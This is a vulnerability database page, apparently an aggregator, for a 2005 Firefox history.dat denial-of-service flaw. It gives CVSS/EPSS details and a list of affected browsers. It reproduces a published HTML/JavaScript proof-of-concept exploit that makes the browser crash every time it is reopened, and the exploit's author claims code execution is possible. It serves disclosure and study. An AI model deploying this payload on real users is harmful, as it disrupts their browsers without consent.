Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
5 |
|
AV:N/AC:L/Au:N/C:N/I:N/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 26762
Publication date : 2005-12-07 23h00 +00:00
Author : ZIPLOCK
EDB Verified : Yes
source: https://www.securityfocus.com/bid/15773/info
Mozilla Firefox is reportedly prone to a remote denial-of-service vulnerability.
This issue presents itself when the browser handles a large entry in the 'history.dat' file. An attacker may trigger this issue by enticing a user to visit a malicious website and by supplying excessive data to be stored in the affected file.
This may cause a denial-of-service condition.
**UPDATE: Proof-of-concept exploit code has been published. The author of the code attributes the crash to a buffer-overflow condition. Symantec has not reproduced the alleged flaw.
<!-- Firefox 1.5 buffer overflow
Basically firefox logs all kinda of URL data in it's history.dat file,
this little script will set a really large topic and Firefox will then
save that topic into it's history.dat.. The next time that firefox is
opened, it will instantly crash due to a buffer overflow -- this will
happen everytime until you manually delete the history.dat file -- which
most users won't figure out.
this proof of concept will only prevent someone from reopening
their browser after being exploited. DoS if you will. however, code
execution is possible with some modifcations.
Tested with Firefox 1.5 on Windows XP SP2.
ZIPLOCK <
[email protected]>
-->
<html><head><title>heh</title><script type="text/javascript">
function ex() {
var buffer = "";
for (var i = 0; i < 5000; i++) {
buffer += "A";
}
var buffer2 = buffer;
for (i = 0; i < 500; i++) {
buffer2 += buffer;
}
document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
</a></body></html>
Products Mentioned
Configuraton 0
K-meleon_project>>K-meleon >> Version To (including) 0.9
K-meleon_project>>K-meleon >> Version 0.7
K-meleon_project>>K-meleon >> Version 0.7_service_pack_1
K-meleon_project>>K-meleon >> Version 0.8
K-meleon_project>>K-meleon >> Version 0.8.1
K-meleon_project>>K-meleon >> Version 0.8.2
Mozilla>>Firefox >> Version To (including) 1.5
Mozilla>>Mozilla_suite >> Version To (including) 1.7.12
Netscape>>Navigator >> Version To (including) 8.0.40
Netscape>>Navigator >> Version 7.1
Netscape>>Navigator >> Version 7.2
References